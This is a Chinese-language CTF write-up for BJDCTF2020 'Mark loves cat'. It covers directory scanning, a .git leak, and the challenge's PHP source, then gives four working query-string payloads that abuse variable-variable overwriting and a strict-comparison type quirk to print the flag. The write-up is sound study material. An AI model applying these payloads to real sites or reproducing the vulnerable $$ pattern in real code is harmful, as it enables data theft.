[BJDCTF2020]Mark loves cat | 四種解法 (新解法:強類型比較繞過)


題目地址:https://buuoj.cn/challenges#[BJDCTF2020]Mark%20loves%20cat
image

image

首先打開網站看到的是一個個人博客,這種常規的 類似實戰題目 先掃描目錄看看

路徑掃描

image
沒錯這真的是我的字典,就7個路徑,哈哈哈,還在收集啊

git泄露

看到了一個 .git 泄露
image
用了倆工具測試,無任何有用信息,工具名稱在圖片里:GitHackGit_Extract
這倆工具 一個獲取文件,一個獲取 .git 文件, 哈哈哈,今天才發現,我是真的菜
image
flag.php 是存在的 ,不過只能確定 /flag 在哪里
image
image

429 Too Many Requests

煩死了,沒法用現成的工具掃路徑
python .\dirsearch.py -e * -u http://f3398cf1-ffb4-443e-a439-a264a65e4d5d.node4.buuoj.cn:81/ -t 1 --timeout=2 -x 400,403,404,500,503,429
果然看大佬的文章才能學到知識啊, 我自己設置了 -t 1 但是沒啥用,還是報429 ,看看人家大佬設置 --timeout=2 就可以了,真強

人傻了,那個index.php 后面是有代碼的

image
然后分析分析代碼:


<?php

include 'flag.php';
print_r($flag);

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){  // $鍵 = $值的值
    $$x = $y;  
    
}

foreach($_GET as $x => $y){
    $$x = $$y;// $handsome = flag的值  --->   $handsome = $flag  --> $x=handsome & $y=flag
}

 // 需要不滿足以下幾個條件
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){  //不能同時 flag的值等於某個鍵名,那個鍵值又是flag
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 不能同時  GET 和 POST 都沒設置 flag
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){// 任意都不能滿足 flag === 'flag'
    exit($is);
}

echo "the flag is: ".$flag;

這個東西真的是需要自己去慢慢看的,慢慢看才能學到東西,主要涉及的就是可變變量
經過大佬的點撥,我悟了

這個題我是沒找到 繞過判斷不提前結束 ,而又不改變flag值的情況下到達最后的echo。但是別忘了 “exit” 也是一種輸出啊!這里雖然輸出的不是$flag變量,但是我們有變量覆蓋漏洞啊!
https://blog.csdn.net/qq_43622442/article/details/105925473
那么情況就很明確了,污染 exit 語句的參數 , 不過后來證明,大佬說的是不對的,哈哈哈。

解法1:exit($handsome);

首先進入條件:
if($_GET['flag'] === $x && $x !== 'flag'){ //不能同時 flag的值等於某個鍵名,那個鍵名又是flag, 就是 flag=a && a!=flag啊,這樣就能進了 ?flag=(不是flag)&(不是flag)=xxx
image
進入條件十分簡單:?flag=a&a=flag 即可
函數判斷到 a=flag 的時候, $_GET['flag'] === $x && $x !== 'flag' --> a === a && a !== 'flag' 這就進來了 true && true 就進來了, 然后 exit($handsome);
因為要 exit($handsome); 那么我們要做的就是 讓 $handsome = $flag get 條件的處理如下:

foreach($_GET as $x => $y){
    $$x = $$y;// $handsome = flag的值  --->   $handsome = $flag  --> $x=handsome & $y=flag
}

$$x = $$y而我們要的結果是$handsome = $flag那么特簡單 讓 $x=handsome 和 $y=flag即可
payload1:http://127.0.0.1/CTF/?handsome=flag&flag=b&b=flag
payload2:http://127.0.0.1/CTF/?handsome=flag&flag=handsome(看師傅們的評論看到的)

解法2:exit($yds);

想要進入這個 exit語句的話,先來看看條件
if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 不能同時 GET 和 POST都沒設置 flag
哦,GET,POST 都不設置flag就進去了啊
payload:http://127.0.0.1/CTF/?yds=flag 好簡單,這題目
image

解法3:exit($is);

這個也比較簡單:
進入條件: if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){// 任意都不能滿足 flag === 'flag'
flag=flag
payload: http://f3398cf1-ffb4-443e-a439-a264a65e4d5d.node4.buuoj.cn:81?is=flag&flag=flag
image

解法4:echo "the flag is: ".$flag;

強類型比較繞過
我在嘗試的時候發現有個問題:

  1. 正常情況
    http://127.0.0.1/CTF/?a=flag&flag=a 這里觸發了 if($_GET['flag'] === $x && $x !== 'flag'){ //不能同時 $_GET['flag'] 的值等於某個鍵名,那個鍵名又不是flag 這個條件,進入了 exit($handsome);里面了,這很好理解的。函數遍歷 a=flag 的時候, $_GET['flag'] === $x && $x !== 'flag' --> a === a && a !== 'flag' 這就進來了 true && true 就進來了, 然后 exit($handsome);
    image
  2. 不正常的情況
    http://127.0.0.1/CTF/?1=flag&flag=1 這是啥情況呢,按道理來說跟上面一樣啊,這里觸發了 if($_GET['flag'] === $x && $x !== 'flag'){ //不能同時 $_GET['flag'] 的值等於某個鍵名,那個鍵名又不是flag 這個條件,進入了 exit($handsome);里面了,這很好理解的。函數遍歷 1=flag 的時候, $_GET['flag'] === $x && $x !== 'flag' --> 1 === 1 && 1 !== 'flag' 這就進來了 true && true 就進來了, 然后 exit($handsome);但是事實不是這樣的,我估計是涉及到 字符串和數字的問題,都打印出來看看。
    image
    打印代碼:
foreach($_GET as $x => $y){
    echo "</br>foreach :".'</br>';
    echo '$_GET[\'flag\'] :';
    var_dump($_GET['flag']).'</br>';
    echo '$x :';
    var_dump($x).'</br>';
    echo '$_GET[\'flag\'] === $x :';
    var_dump($_GET['flag'] === $x).'</br>';
    echo '$x !== \'flag\' :';
    var_dump($x !== 'flag').'</br>';
    if($_GET['flag'] === $x && $x !== 'flag'){  //不能同時 1 === 1 && 1 !== 'flag' flag的值等於某個鍵名,鍵名又不是flag
        exit($handsome);
    }
}

image

果然啊,get 傳參數的時候,如果傳入1,默認:做為鍵:類型是 int; 做為值,類型是 string

問題就這這里了:$_GET['flag'] === $x : 如果傳入 a=flag&flag=a 那么 判斷 a=flag 的時候 $_GET['flag']a, &xa,完全相等 進入if條件, 而如果傳入 1=flag&flag=1 那么判斷 1=flag的時候 $_GET['flag'](string)1&x(int)1 不完全相等,無法進入if條件,進而繞過

這樣就繞過好了,滿足了大佬說的幾句話,不會改變 flag 而且不會提前結束,具體其他幾個循環自己打印看看就行。

這個題我是沒找到 繞過判斷不提前結束 ,而又不改變flag值的情況下到達最后的echo。


還有一個可能的解法(沒試,不知道),傳入 $$$xx=$$xx,或者 更多的 $$$$$$$x=$xx, 來繞過 變量覆蓋,這里記一下,變量覆蓋可以多次遞歸(沒實驗過)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM